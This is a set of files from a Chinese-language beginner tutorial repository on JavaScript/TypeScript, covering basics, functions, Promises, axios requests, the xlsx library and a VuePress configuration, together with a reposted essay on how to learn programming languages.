# 对象的操作
删除属性
`delete {}.属性`
<file_sep># 如何掌握所有的计算机语言
作者: 王垠
## [如何掌握所有的程序语言 --王垠 ](http://www.yinwang.org/blog-cn/2017/07/06/master-pl)
敬请查看[原文](http://www.yinwang.org/blog-cn/2017/07/06/master-pl),以获得的更多链接地址.(稳重很多类似`这篇文章`的地方是有链接的)
对的,我这里要讲的不是如何掌握一种程序语言,而是所有的……
很多编程初学者至今还在给我写信请教,问我该学习什么程序语言,怎么学习。由于我知道如何掌握“所有”的程序语言,总是感觉这种该学“一种”什么语言的问题比较低级,所以一直没来得及回复他们 :P 可是逐渐的,我发现原来不只是小白们有这个问题,就连美国大公司的很多资深工程师,其实也没搞明白。
今天我有动力了,想来统一回答一下这个搁置已久的“初级问题”。类似的话题貌似曾经写过,然而现在我想把它重新写一遍。因为在跟很多人交流之后,我对自己头脑中的(未转化为语言的)想法,有了更精准的表达。
如果你存在以下的种种困惑,那么这篇文章也许会对你有所帮助:
1. 你是编程初学者,不知道该选择什么程序语言来入门。
2. 你是资深的程序员或者团队领导,对新出现的种种语言感到困惑,不知道该“投资”哪种语言。
3. 你的团队为使用哪种程序语言争论不休,发生各种宗教斗争。
4. 你追逐潮流采用了某种时髦的语言,结果两个月之后发现深陷泥潭,痛苦不堪……
虽然我已经不再过问这些世事,然而无可置疑的现实是,程序语言仍然是很重要的话题,这个情况短时间内不会改变。程序员的岗位往往会要求熟悉某些语言,甚至某些奇葩的公司要求你“深入理解 OOP 或者 FP 设计模式”。对于在职的程序员,程序语言至今仍然是可以争得面红耳赤的宗教话题。它的宗教性之强,以至于我在批评和调侃某些语言(比如 Go 语言)的时候,有些人会本能地以为我是另外一种语言(比如 Java)的粉丝。
显然我不可能是任何一种语言的粉丝,我甚至不是 Yin 语言的粉丝 ;) 对于任何从没见过的语言,我都是直接拿起来就用,而不需要经过学习的过程。看了这篇文章,也许你会明白我为什么可以达到这个效果。理解了这里面的东西,每个程序员都应该可以做到这一点。嗯,但愿吧。
## 重视语言特性,而不是语言
很多人在乎自己或者别人是否“会”某种语言,对“发明”了某种语言的人倍加崇拜,为各种语言的孰优孰劣争得面红耳赤。这些问题对于我来说都是不存在的。虽然我写文章批评过不少语言的缺陷,在实际工作中我却很少跟人争论这些。如果有其它人在我身边争论,我甚至会戴上耳机,都懒得听他们说什么 ;) 为什么呢?我发现归根结底的原因,是因为我重视的是“语言特性”,而不是整个的“语言”。我能用任何语言写出不错的代码,就算再糟糕的语言也差不了多少。
任何一种“语言”,都是各种“语言特性”的组合。打个比方吧,一个程序语言就像一台电脑。它的牌子可能叫“联想”,或者“IBM”,或者“Dell”,或者“苹果”。那么,你可以说苹果一定比 IBM 好吗?你不能。你得看看它里面装的是什么型号的处理器,有多少个核,主频多少,有多少 L1 cache,L2 cache……,有多少内存和硬盘,显示器分辨率有多大,显卡是什么 GPU,网卡速度,等等各种“配置”。有时候你还得看各个组件之间的兼容性。
这些配置对应到程序语言里面,就是所谓“语言特性”。举一些语言特性的例子:
变量定义
算术运算
for 循环语句,while 循环语句
函数定义,函数调用
递归
静态类型系统
类型推导
lambda 函数
面向对象
垃圾回收
指针算术
goto 语句
这些语言特性,就像你在选择一台电脑的时候,看它里面是什么配置。选电脑的时候,没有人会说 Dell 一定是最好的,他们只会说这个型号里面装的是 Intel 的 i7 处理器,这个比 i5 的好,DDR3 的内存 比 DDR2 的快这么多,SSD 比磁盘快很多,ATI 的显卡是垃圾…… 如此等等。
程序语言也是一样的道理。对于初学者来说,其实没必要纠结到底要先学哪一种语言,再学哪一种。曾经有人给我发信问这种问题,纠结了好几个星期,结果一个语言都还没开始学。有这纠结的时间,其实都可以把他纠结过的语言全部掌握了。
初学者往往不理解,每一种语言里面必然有一套“通用”的特性。比如变量,函数,整数和浮点数运算,等等。这些是每个通用程序语言里面都必须有的,一个都不能少。你只要通过“某种语言”学会了这些特性,掌握这些特性的根本概念,就能随时把这些知识应用到任何其它语言。你为此投入的时间基本不会浪费。所以初学者纠结要“先学哪种语言”,这种时间花的很不值得,还不如随便挑一个语言,跳进去。
如果你不能用一种语言里面的基本特性写出好的代码,那你换成另外一种语言也无济于事。你会写出一样差的代码。我经常看到有些人 Java 代码写得相当乱,相当糟糕,却骂 Java 不好,雄心勃勃要换用 Go 语言。这些人没有明白,是否能写出好的代码在于人,而不在于语言。如果你的心中没有清晰简单的思维模型,你用任何语言表述出来都是一堆乱麻。如果你 Java 代码写得很糟糕,那么你写 Go 语言代码也会一样糟糕,甚至更差。
很多初学者不了解,一个高明的程序员如果开始用一种新的程序语言,他往往不是去看这个语言的大部头手册或者书籍,而是先有一个需要解决的问题。手头有了问题,他可以用两分钟浏览一下这语言的手册,看看这语言大概长什么样。然后,他直接拿起一段例子代码来开始修改捣鼓,想法把这代码改成自己正想解决的问题。在这个简短的过程中,他很快的掌握了这个语言,并用它表达出心里的想法。
在这个过程中,随着需求的出现,他可能会问这样的问题:
- 这个语言的“变量定义”是什么语法,需要“声明类型”吗,还是可以用“类型推导”?
- 它的“类型”是什么语法?是否支持“泛型”?泛型的 “variance” 如何表达?
- 这个语言的“函数”是什么语法,“函数调用”是什么语法,可否使用“缺省参数”?
- ……
注意到了吗?上面每一个引号里面的内容,都是一种语言特性(或者叫概念)。这些概念可以存在于任何的语言里面,虽然语法可能不一样,它们的本质都是一样的。比如,有些语言的参数类型写在变量前面,有些写在后面,有些中间隔了一个冒号,有些没有。
这些实际问题都是随着写实际的代码,解决手头的问题,自然而然带出来的,而不是一开头就抱着语言手册看得仔仔细细。因为掌握了语言特性的人都知道,自己需要的特性,在任何语言里面一定有对应的表达方式。如果没有直接的方式表达,那么一定有某种“绕过方式”。如果有直接的表达方式,那么它只是语法稍微有所不同而已。所以,他是带着问题找特性,就像查字典一样,而不是被淹没于大部头的手册里面,昏昏欲睡一个月才开始写代码。
掌握了通用的语言特性,剩下的就只剩某些语言“特有”的特性了。研究语言的人都知道,要设计出新的,好的,无害的特性,是非常困难的。所以一般说来,一种好的语言,它所特有的新特性,终究不会超过一两种。如果有个语言号称自己有超过 5 种新特性,那你就得小心了,因为它们带来的和可能不是优势,而是灾难!
同样的道理,最好的语言研究者,往往不是某种语言的设计者,而是某种关键语言特性的设计者(或者支持者)。举个例子,著名的计算机科学家 Dijkstra 就是“递归”的强烈支持者。现在的语言里面都有递归,然而你可能不知道,早期的程序语言是不支持递归的。直到 Dijkstra 强烈要求 Algol 60 委员会加入对递归的支持,这个局面才改变了。<NAME> 也是语言特性设计者。他设计了几个重要的语言特性,却没有设计过任何语言。另外大家不要忘了,有个语言专家叫王垠,他是早期 union type 的支持者和实现者,也是 checked exception 特性的支持者,他在自己的博文里指出了 checked exception 和 union type 之间的关系 :P
很多人盲目的崇拜语言设计者,只要听到有人设计(或者美其民曰“发明”)了一个语言,就热血沸腾,佩服的五体投地。他们却没有理解,其实所有的程序语言,不过是像 Dell,联想一样的“组装机”。语言特性的设计者,才是像 Intel,AMD,ARM,Qualcomm 那样核心技术的创造者。
## 合理的入门语言
所以初学者要想事半功倍,就应该从一种“合理”的,没有明显严重问题的语言出发,掌握最关键的语言特性,然后由此把这些概念应用到其它语言。哪些是合理的入门语言呢?我个人觉得这些语言都可以用来入门:
- Scheme
- C
- Java
- Python
- JavaScript
那么相比之下,我不推荐用哪些语言入门呢?
- Shell
- PowerShell
- AWK
- Perl
- PHP
- Basic
- Go
- Rust
总的说来,你不应该使用所谓“脚本语言”作为入门语言,特别是那些源于早期 Unix 系统的脚本语言工具。PowerShell 虽然比 Unix 的 Shell 有所进步,然而它仍然没有摆脱脚本语言的根本问题——他们的设计者不知道他们自己在干什么 :P
采用脚本语言学编程,一个很严重的问题就是使得学习者抓不住关键。脚本语言往往把一些系统工具性质的东西(比如正则表达式,Web 概念)加入到语法里面,导致初学者为它们浪费太多时间,却没有理解编程最关键的概念:变量,函数,递归,类型……
不推荐 Go 语言的原因类似,虽然 Go 语言不算脚本语言,然而他的设计者显然不明白自己在干什么。所以使用 Go 语言来学编程,你不能专注于最关键,最好的语言特性。关于 Go 语言的各种毛病,你可以参考这篇文章。
同样的,我不觉得 Rust 适合作为入门语言。Rust 花了太大精力来夸耀它的“新特性”,而这些新特性不但不是最关键的部分,而且很多是有问题的。初学者过早的关注这些特性,不仅学不会最关键的编程思想,而且可能误入歧途。关于 Rust 的一些问题,你可以参考这篇文章。
## 掌握关键语言特性,忽略次要特性
为了达到我之前提到的融会贯通,一通百通的效果,初学者应该专注于语言里面最关键的特性,而不是被次要的特性分心。
举个夸张点的例子。我发现很多编程培训班和野鸡大学的编程入门课,往往一来就教学生如何使用 printf 打印“Hello World!”,进而要他们记忆 printf 的各种“格式字符”的意义,要他们实现各种复杂格式的打印输出,甚至要求打印到文本文件里,然后再读出来……
可是殊不知,这种输出输入操作其实根本不算是语言的一部分,而且对于掌握编程的核心概念来说,都是次要的。有些人的 Java 课程进行了好几个星期,居然还在布置各种 printf 的作业。学生写出几百行的 printf,却不理解变量和函数是什么,甚至连算术语句和循环语句都不知道怎么用!这就是为什么很多初学者感觉编程很难,我连 %d,%f,%.2f 的含义都记不住,还怎么学编程!
然而这些野鸡大学的“教授”头衔是如此的洗脑,以至于被他们教过的学生(比如我女朋友)到我这里请教,居然骂我净教一些没用的东西,学了连 printf 的作业都没法完成 :P 你别跟我讲 for 循环,函数什么的了…… 可不可以等几个月,等我背熟了 printf 的用法再学那些啊?
所以你就发现一旦被差劲的老师教过,这个程序员基本就毁了。就算遇到好的老师,他们也很难纠正过来。
当然这是一个夸张的例子,因为 printf 根本不算是语言特性,但这个例子从同样的角度说明了次要肤浅的语言特性带来的问题。
这里举一些次要语言特性的例子:
- C 语言的语句块,如果里面只有一条语句,可以不打花括号。
- Go 语言的函数参数类型如果一样可以合并在一起写,比如 func foo(s string, x, y, z int, c bool) { ... }
- Perl 把正则表达式作为语言的一种特殊语法
- JavaScript 语句可以在某些时候省略句尾的分号
- Haskell 和 ML 等语言的 currying
## 自己动手实现语言特性
在基本学会了各种语言特性,能用它们来写代码之后,下一步的进阶就是去实现它们。只有实现了各种语言特性,你才能完全地拥有它们,成为它们的主人。否则你就只是它们的使用者,你会被语言的设计者牵着鼻子走。
有个大师说得好,完全理解一种语言最好的方法就是自己动手实现它,也就是自己写一个解释器来实现它的语义。但我觉得这句话应该稍微修改一下:完全理解一种“语言特性”最好的方法就是自己亲自实现它。
注意我在这里把“语言”改为了“语言特性”。你并不需要实现整个语言来达到这个目的,因为我们最终使用的是语言特性。只要你自己实现了一种语言特性,你就能理解这个特性在任何语言里的实现方式和用法。
举个例子,学习 SICP 的时候,大家都会亲自用 Scheme 实现一个面向对象系统。用 Scheme 实现的面向对象系统,跟 Java,C++,Python 之类的语言语法相去甚远,然而它却能帮助你理解任何这些 OOP 语言里面的“面向对象”这一概念,它甚至能帮助你理解各种面向对象实现的差异。
这种效果是你直接学习 OOP 语言得不到的,因为在学习 Java,C++,Python 之类语言的时候,你只是一个用户,而用 Scheme 自己动手实现了 OO 系统之后,你成为了一个创造者。
类似的特性还包括类型推导,类型检查,惰性求值,如此等等。我实现过几乎所有的语言特性,所以任何语言在我的面前,都是可以被任意拆卸组装的玩具,而不再是凌驾于我之上的神圣。
## 总结
写了这么多,重要的话重复三遍:语言特性,语言特性,语言特性,语言特性!不管是初学者还是资深程序员,应该专注于语言特性,而不是纠结于整个的“语言品牌”。只有这样才能达到融会贯通,拿起任何语言几乎立即就会用,并且写出高质量的代码。
<file_sep># 一个 ES 程序
## 项目文件夹
1. 在一个合适的位置新建一个文件夹,然后打开
2. 在空白处右键,选择 `open with code`
::: tip
程序中的标点符号应为英文标点符号。
中文标点符号只应该出现于文本数据中。
:::
## 尝试一下 `ES`
1. 按下组合快捷键 ctrl 和 ` 以打开控制台
2. 输入 `node` 并回车
3. 尝试输入以下文字并回车
```ts
1 + 1;
2 * 3;
2 / 4;
1 == 1;
1 == 2;
"hello world";
"你好" + "世界";
```
4. 输入以下文字并回车
```ts
console.log(1 + 1);
console.log("hello world");
```
ES 能做什么?一个简单的回答是:能做的是数学计算(加、减、乘、除)、逻辑判断(真、假)和文本拼合。
## 尝试写一个简单的文件程序
1. 在右侧点击新建,新建一个 `index.js` 文件
2. 打开`index.js`文件,输入以下文字
```ts
console.log(1 + 1);
console.log("hello world");
```
3. 按下组合快捷键 ctrl 和 s 以保存
4. 在控制台输入`node index.js`
文件的目的之一,就是持久的保存你的程序并与别人分享,而不是让程序在每次执行完后如烟花般消逝。
## 恭喜!
可喜可贺,不过我们将继续前进,以解释我们做了什么。
<file_sep># ES 项目
这部分会介绍 ES 项目的一些基础
如果你有问题,那是对的,不过我们先需要做完一些事情,再来思考。
## 初始化一个项目
1. 像往常一样,打开 vscode,打开控制台
2. 控制台输入`npm init`,然后一路回车
## 安装 xlsx
1. 控制台输入`npm install xlsx`,然后回车
## 撰写程序
首先放置一个`example.xlsx`
下面是我的 excel 文档,我随便写了点东西
<center><img :src="$withBase('/project/xlsx.png')" alt="图片未显示"></center>
1. 新建`index.js`文件并打开
2. 复制黏贴以下代码到`index.js`文件并保存
```js
const XLSX = require("xlsx");
let 表格 = XLSX.readFile("./example.xlsx");
console.log(表格.SheetNames);
console.log(表格.Sheets);
console.log(表格.Props.Application);
console.log(表格.Props.AppVersion);
console.log(表格.Props.ModifiedDate);
console.log(表格.Props.Worksheets);
```
3. 控制台输入`node index.js`
控制台输出
<center><img :src="$withBase('/project/pro.png')" alt="图片未显示"></center>
<file_sep># 诺言`Promise`
`Promise`类型
有些事情是可以不即时做的,然后可以生成一个诺言`Promise`。
你可以等`await`这个诺言实现后继续做后面的事情。
`async`函数是一种不即时执行的函数,当执行它时会得到一个诺言`Promise`。
一个函数中若`await`一个诺言结果,它必然也是不即时得到结果的函数,执行它也必然会得到一个诺言,所以`await`必然在一个`async`函数中使用。
截止目前,顶级诺言不可等待`await`。
更多的示例请查看网络 Network 部分,这里只是简单的介绍一下概念。
<file_sep># 网络
首先打开你的浏览器,在网址里面输入`http://govapi.pinza.com.cn/newsList`,然后回车
它出现的页面应该类似于这样
<img :src="$withBase('/net/browser.png')" alt="图片未显示">
我们来看一下,发生了什么。
1. 浏览器会查询`govapi.pinza.com.cn`的 IP 地址`192.168.3.11`。
(`govapi.pinza.com.cn`类似于`品宅装饰科技`,`IP地址192.168.3.11`类似于`品宅装饰科技的具体地址:上海桂林路诚达创意产业园310室`)
2. 浏览器向`govapi.pinza.com.cn`询问`/newsList`,然后`govapi.pinza.com.cn`返回给他相应的数据
其实,这和你访问`www.baidu.com`并没有什么区别。
接下来,我们将用程序完成这件事情,只需几行代码,非常的容易。
<file_sep># axios
## 官方文档
[axios](https://github.com/axios/axios)
## 使用实践
使用之前需要先安装,在控制台输入`npm i axios`
### get 请求
```js
import axios from "axios";
async function 获取新闻() {
let 回应 = await axios.get("http://govapi.pinza.com.cn/newsList");
console.log(回应.data);
}
获取新闻();
```
列表太长,以至于截图中无法看到 count
<center><img :src="$withBase('/net/get.png')" alt="图片未显示"></center>
### post 请求
```js
import axios from "axios";
async function 获取新闻() {
let 回应 = await axios.post("http://govapi.pinza.com.cn/newsList", {
skip: 0,
limit: 3
});
console.log(回应.data);
}
获取新闻();
```
列表只有 3 个,看到最后的 count 25
<center><img :src="$withBase('/net/post.png')" alt="图片未显示"></center>
<file_sep># 原型链继承基础
此继承关系可在使用了一段时间的 ES||TS 后再来了解
建议在图片上右键,选择查看图片,以放大查看该图片
<img :src="$withBase('/start/prototype.png')" alt="图片未显示"></center>
图中,实线双箭头代表连着等价,是同一个东西
虚线代表继承关系,从原型指向继承者
需要指出的有趣的地方:
- `Math是个对象`
- `[Object,Function,String,Array,Boolean,Number,Symbol,Date,Blob,Map,Set]`都是函数
- `Object.prototype.__proto__==null`为`true`,`Object.prototype`继承自 `null`,这里是继承的根节点
- `[Function,String,Array,Boolean,Number,Symbol,Date,Blob,Map,Set].every((ele)=>{return ele.prototype.__proto__==Object.prototype})`为`true`,即它们都继承自继承自`Object.prototype`
- `[Object,Function,String,Array,Boolean,Number,Symbol,Date,Blob,Map,Set].every((ele)=>{return ele.__proto__==Function.prototype})`为`true`,即它们都继承自`Function.prototype`
- `[Object,Function,String,Array,Boolean,Number,Symbol,Date,Blob,Map,Set].every((ele)=>{return ele.constructor==Function})`为`true`,即它们的构造函数都是`Function`
<file_sep>//长头发是一个很长的过程
async function 我去长头发啦() {
// 长头发...
// 很长时间过去了
// 长发及腰
console.log("长发及腰。。。");
return;
}
async function 等你长发及腰帮你剪短() {
await 我去长头发啦();
// 咔嚓,咔嚓,剪短啦
console.log("咔嚓,咔嚓,剪短啦。。。");
return;
}
function 闲聊() {
console.log("闲聊。。。");
}
等你长发及腰帮你剪短();
闲聊();
export let a = 1;
<file_sep># 介绍
本文档的每一部分都相当简单,你可以从任何地方开始阅读。
ES 和 TS 的恰似双子座两兄弟,不过 ES 活泼开朗不喜欢想太多,TS 成熟稳重喜欢清清楚楚。
简单来说,就是 ES 没有很多约束,TS 有很多约束,所以 TS **拥有相当先进的思想**,能给出准确和可靠的**提示**和**建议**。
由于底层运行于同样的平台,所以在真正程序运行的时候,**两者等价**。
没错,ES 和 TS 是编程语言。
::: tip
ES 和 TS 的学习是一个很漫长的过程,但是你并不需要完全学会它才能用它做东西。
相反的,你**只需要很少的知识**就可以用它们**做很多的事情**。
:::
<file_sep># 数据的排列组合、获取
# let : 令
在前边,我们用到了一个 `let` 符号,它相当于我们中学时代经常用的 `令` (eg: 求二次函数与 x 周交点时,令 `y=0`)
所以,在程序中`let x = 0`,就是`令 x = 0` (让变量 x 的值为 0),
现在你可以有很多变量名-基本上只要是正常的文本(甚至是空文本),都可以作为变量名。
# 组合起来的数据
如何在 ES||TS 中描述一首歌?比如,李荣浩的《年少有为》
```js
let 一首歌 = {
名称: "年少有为",
填词:"李荣浩",
作曲:"李荣浩",
演唱:"李荣浩",
混音:"李荣浩"
};
console.log(一本书)
```
我们是不是忘了些什么,没关系,还可以补上去
```js
一首歌.歌词 = "···一些煽情的歌词···";
一首歌.鼓 = "Alex";
一首歌.弦乐 = "国际首席爱乐乐团";
一首歌.录音室 = "北京一样音乐录音室";
一首歌.母带后期 = "一样音乐工作室";
console.log(一本书);
```
# 排列起来的数据
如何在 ES||TS 中描述一列数据呢?比如 1~10 之类
```js
let 一列数字 = [0, 1, 2];
console.log(一列数字);
```
嗯,再复杂一点,如何描述一个歌曲列表吧
```js
let 歌曲列表 = [
{ 名称: "年少有为", 演唱: "李荣浩" },
{ 名称: "Blumenkranz", 演唱: "Cyua" },
{ 名称: "<NAME>", 演唱: "<NAME>" }
];
console.log(歌曲列表);
```
## 排列组合
没错,就想你想的那样,可以按照你的想法来进行排列组合出你想要的数据,排列套组合或者组合套排列
## 数据的获取
组合的数据每一个数据都一个变量名称。排列的数据是没有变量名称,但是它是按顺序排列的,它有序号,序号从 0 开始,
1. 通用的获取数据方式
```js
console.log(一首歌["名称"]);
console.log(一列数字[1]);
console.log(歌曲列表[1]["名称"]);
```
2. 组合的数据的变量的便利:可以直接获取
console.log(一首歌.名称);
console.log(歌曲列表[1].名称);
<file_sep># TS 项目
这部分会介绍 TS 项目的一些基础
如果你有问题,那是对的,不过我们先需要做完一些事情,再来思考。
## 初始化一个项目
1. 像往常一样,打开 vscode,打开控制台
2. 控制台输入`npm init`,然后一路回车
## 安装 xlsx 和 ts 的环境
0. 控制台输入`npm install -D ts-node`并回车,然后输入`npm install -D typescript`并回车
1. 控制台输入`npm install xlsx`,然后回车
## 撰写程序
首先放置一个`example.xlsx`
下面是我的 excel 文档,我随便写了点东西
<center><img :src="$withBase('/project/xlsx.png')" alt="图片未显示"></center>
0. 新建`tsconfig.json`文件并打开,输入以下文本并保存
```json
{
"compilerOptions": {
"target": "es2017",
"module": "commonjs",
"sourceMap": true,
"declaration": true,
"emitDecoratorMetadata": true,
"experimentalDecorators": true
},
"include": ["**/*", "**/*.spec.ts"],
"exclude": ["node_modules"]
}
```
1. 新建`index.ts`文件并打开
2. 复制黏贴以下代码到`index.ts`文件并保存
```js
import * as XLSX from "xlsx";
let 表格 = XLSX.readFile("./example.xlsx");
console.log(表格.SheetNames);
console.log(表格.Sheets);
console.log(表格.Props.Application);
console.log(表格.Props.AppVersion);
console.log(表格.Props.ModifiedDate);
console.log(表格.Props.Worksheets);
```
3. 控制台输入`ts-node index.js`
控制台输出
<center><img :src="$withBase('/project/tspro.png')" alt="图片未显示"></center>
<file_sep>---
home: true
heroImage: ./logo.png
heroText: XlsxWithEcmaScript
tagline: xlsx With ES||TS
actionText: 开始 →
actionLink: /guide/
features:
- title: 语言
details: 借助灵活、现代的ES||TS语言,可便捷处理复杂的业务逻辑。
- title: 网络
details: 借助axios进行网络通信,可便捷的批量处理线上事务。
footer: MIT Licensed | Copyright © 2018-present 品宅装饰科技·银子
---
<file_sep># XLSX
## 官方文档
[xlsx](https://sheetjs.gitbooks.io/docs/#working-with-the-workbook)
## 使用经验
施工中。。。
<file_sep># 如何学习计算机语言的简版
1. 重视语言特性
语言特性为首要重要的,语言特性贯穿于各种各样的计算机语言之间,是计算机语言的通用基础。
- 数字、文本,基础数据类型
- 循环
- 逻辑
- 诺言
- 面向对象
- 等等。。不会很多
不同的计算机语言以不同`便利`的方式实现`语言特性`,所以实际上,在工作生活中,哪种语言适合、哪种语言用起来顺手那么就用哪种语言,而不是做一个语言的奴隶。
譬如:
- `rust`语言约束多,注重细节,所以运行安全且快速,故适合基础层次的开发,
- `ES`语言约束少,自由,所以适合变化的动态的环境,故适合业务开发,
- 等等。。。
2. 推荐的入门语言
| 语言 | 推荐理由 | 适用 |
| -------- | -------------------------- | ---------------------------------------------------- |
| `ES||TS` | 简单便捷自由,适合业务开发 | 业务、小程序、服务端、人工智能等 |
| `C/C++` | 大学公共课 | 操作系统、嵌入式开发 IOT、人工智能底层、服务端底层等 |
| `rust` | `C/C++`的继任者 | 操作系统、嵌入式开发 IOT、人工智能底层、服务端底层等 |
<file_sep># 准备工作
## 安装基础软件
1. 下载并安装[node.js](https://nodejs.org/dist/v10.15.1/node-v10.15.1-x64.msi)(最新版[node.js 下载页](https://nodejs.org/zh-cn/))
2. 下载并安装文本编辑器[vscode](https://code.visualstudio.com/)
::: tip
安装方法简单便捷,接受协议,一路下一步即可。
:::
## 查看安装结果
1. 打开你的 vscode
2. 按下组合快捷键 ctrl 和 ` 以打开控制台
3. 输入 `node -v` 然后回车
4. 输入 `npm -v` 然后回车
<center>
<img :src="$withBase('/start/vscode.png')" alt="图片未显示"></center>
## 切换到中文界面
vscode 若为英文,也可以切换到中文
1. 在 vscode 左侧点击 extension 搜索 chinese
2. 点击 `install` 安装 `Chinese(Simplified) language pack for visual studio code`
3. 点击 `restart` 重启软件
<file_sep># 程序基础
## 数据和函数
这是一个稍显晦涩的标题,但是内容却相对简单,我们不应该将它理解的过于复杂。
我们的世界是一个运行于宇宙计算机上的游戏,那么宇宙这台计算机上有什么,运行着什么呢?
一个简单的理解是这样的,将你的眼光置于时间停滞着的一刻,在这一刻万事万物的状态都可以用一堆数据来记录,就像你的 Excel 表格里记录的那样,然后将你的眼光流转到下一刻,万事万物按照物理规律完成一次计算,变换成下一堆数据。
一个简单的答案是这样的:有着宇宙万事万物的状态,运行着物理规律。
对这小节标题的一个简单的理解是这样的:
函数计算就是将一堆数据从一个状态变换到另一个状态。
对程序的一个简单的理解是这样的:
我们写程序就是写函数来处理数据。
## 数据和基础函数
前面说过 ES 能做的是数学计算(加、减、乘、除)、逻辑判断(真、假)和文本拼合。
所以,我们需要的数据大致有三种:数字、文本和真假
我们需要的基础函数就是
1. 数学计算:加(`+`)减(`-`)乘(`*`)除(`/`)
2. 逻辑判断:等于(`==`)大于(`>`)小于(`<`)大于等于(`>=`)小于等于(`<=`)不等于(`!=`)全等于(`===`)全不等于判断`1!=="1"`,
3. 逻辑运算:与(`&&`)或(`||`)非(`!`)
### 数字
数字可以进行加(`1+1`)减(`1-1`)乘(`1*2`)除(`1/2`)计算
除此之外还有一些不常用的余数(`2%3`)幂(`2**3`)
### 文本
文本可以进行拼合(`"你好"+"世界"`),还能和数字拼合(`"我吃了"+1+"个包子"`)
### 真假
真(`true`)假(`false`)
判断真假的方法:
1. 等于判断`1==1`
2. 大于判断`1>1`
3. 小于判断`1<1`
4. 大于等于判断`1>=1`
5. 小于等于判断`1<=1`
6. 不等于判断`1!=1`
7. 全等于判断`1==="1"`
8. 全不等于判断`1!=="1"`
额外的逻辑运算
1. 与(`true && false`)
2. 或(`true || false`)
3. 非(`!true`)
如果是真的,结果就是`true`;如果是假的,结果就是`false`
你可以再试试上面这些代码。
<file_sep># 进一步学习 ES 和 TS
## 在 MDN 上了解更多的 ES 功能
1. [数字||Number](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Number)
2. [列表||数组||Array](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array)
3. [文本||字符串||String](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String)
你可以在 MDN 上发现更多的资料 ๑ 乛 ◡ 乛 ๑
## 在 Tslangcn 上了解更多的 TS 功能
[手册指南](https://www.tslang.cn/docs/handbook/basic-types.html)
## 文本匹配使用正则表达式
- [正则表达式可视化](https://regexper.com/)
- [正则表达式-语法](https://zhuanlan.zhihu.com/p/28672572)
- [正则表达式-实践](https://yanhaijing.com/javascript/2017/08/26/regexp-practice/)
- [给人用的正则表达式-glob](https://github.com/isaacs/node-glob)
- [给人用的正则表达式的基础库-minimatch](https://github.com/isaacs/minimatch)
<file_sep># 复合函数
## 直接复合
基础函数可以用简单的符号直接表示,复杂的用下面的方法表示。
想一下二次函数`a*x*x + b*x + c`
```js
function 二次函数(a, b, c, x) {
return a * x * x + b * x + c;
}
console.log(二次函数(1, 1, 1, 1));
```
运行这段代码,控制台会显示 3
这样就完成了二次函数的计算。其他复杂的函数如此类推。
## 分段函数
有时候我们需要判断,才能继续计算
想一下绝对值
```js
function 绝对值(x) {
if (x >= 0) {
return x;
} else if (x == 0) {
return 0;
} else {
return -x;
}
}
console.log(绝对值(-1));
```
运行这段代码,控制台会显示 3
这样就完成了绝对值的计算。其他复杂的判断函数如此类推。
## 循环函数
有时候我们需要重复计算
想一下,等差数列求和
```js
function 从1加到4(x) {
let 和 = 0;
for (let x = 0; x <= 4; x = x + 1) {
和 = x + 和;
}
return 和;
}
console.log(绝对值(-1));
```
运行这段代码,控制台会显示 10
1. 默认让和等于 0
2. for 代表循环,它括号里提供三个位子,位子之间用英文分号隔开,第一个位子开始时候执行一次,中间的作为继续执行的判断,最后一个是每次循环执行完后执行的。
当然这三个位子可以不填,你可以试试 ๑ 乛 ◡ 乛 ๑
3. for 循环中额外提供直接退出循环(break)和退出此次循环并继续循环(continue)
这样就完成了循环的计算。其他复杂的判断函数如此类推。
## 递归函数
没错,函数还可以自己调用自己,
想一下 4 的阶乘:`4*3*2*1=24`
思路:
`4!=4*3!` `3!=3*2!` `2!=2*1!` `1!=1`
```js
function 阶乘(x) {
if (x > 1) {
return x * 阶乘(x - 1);
} else {
return 1;
}
}
console.log(阶乘(4));
```
运行这段代码,控制台会显示 24。
这样就完成了递归函数。其他复杂递归函数如此类推。
## 箭头函数
绑定当前作用域的简单的函数
```js
() => {
console.log("我是您忠诚的骑士!");
};
```
<file_sep>module.exports = {
title: "XlsxWithEcmaScript",
description: "Xlsx With EcmaScript",
base: "/xlsx/",
// serviceWorker: {
// updatePopup: true // Boolean | Object, 默认值是 undefined.
// // 如果设置为 true, 默认的文本配置将是:
// // updatePopup: {
// // message: "有新的文档内容",
// // buttonText: "更新"
// // }
// },
head: [["link", { rel: "stylesheet", href: "/index.css" }]],
themeConfig: {
lastUpdated: "更新时间",
nav: [
{ text: "主页", link: "/" },
{ text: "文档", link: "/guide/" },
{
text: "github",
link: "https://github.com/SilverLeaves/XlsxWithECMAscript"
}
],
sidebar: {
"/": [
{
title: "指南",
collapsable: false,
children: ["/guide/", "/guide/simpleHowto", "/guide/howTo"]
},
{
title: "起步",
collapsable: false,
children: [
"/start/",
"/start/helloworld",
"/start/basic",
"/start/function",
"/start/let",
"/start/curd",
"/start/promise",
"/start/more",
"/start/prototype"
]
},
{
title: "项目",
collapsable: false,
children: ["/project/", "/project/tspro", "/project/debug"]
},
{
title: "模块",
collapsable: false,
children: ["/module/"]
},
{
title: "xlsx",
collapsable: false,
children: ["/xlsx/"]
},
{
title: "network",
collapsable: false,
children: ["/network/", "/network/axios"]
}
]
}
}
};
<file_sep>import("./index.js").then(() => {
console.log("a.js is loaded dynamically");
});
| 3d71b66de12569b54f8151c647123ecb733910a2 | [
"Markdown",
"TypeScript",
"JavaScript"
] | 25 | Markdown | Akimotorakiyu/XlsxWithECMAscript | 84aae48066eebb7993ca7e7a8d08d5b0dd400bec | 10b1d5f71f213b65d5dbd1f1c9e859077d9727f0 |
refs/heads/master | <file_sep>var deleteBtn
var i=0
var c=0
var clicked=document.getElementById('forClick')
clicked.onclick=function(){
var elemText=document.getElementById('forText').value
var input=document.createElement('input')
input.setAttribute('id', 'inputid')
input.value=elemText
var divGeneral =document.createElement('div')
var deleteBtn=document.createElement('button')
deleteBtn.innerText="Delete"
deleteBtn.id='del'+ ++i
var id= deleteBtn.id
deleteBtn.setAttribute("onclick", "deleteObj(id)")
var editBtn= document.createElement('button')
editBtn.innerText="Edit"
editBtn.id='edit'+i
var id=editBtn.id
editBtn.setAttribute("onclick", "editObj(id)")
divGeneral.innerText = input.value
divGeneral.appendChild(deleteBtn)
divGeneral.appendChild(editBtn)
document.body.appendChild(divGeneral)
}
function deleteObj(id){
var elem=document.getElementById(id)
elem.parentElement.remove()
}
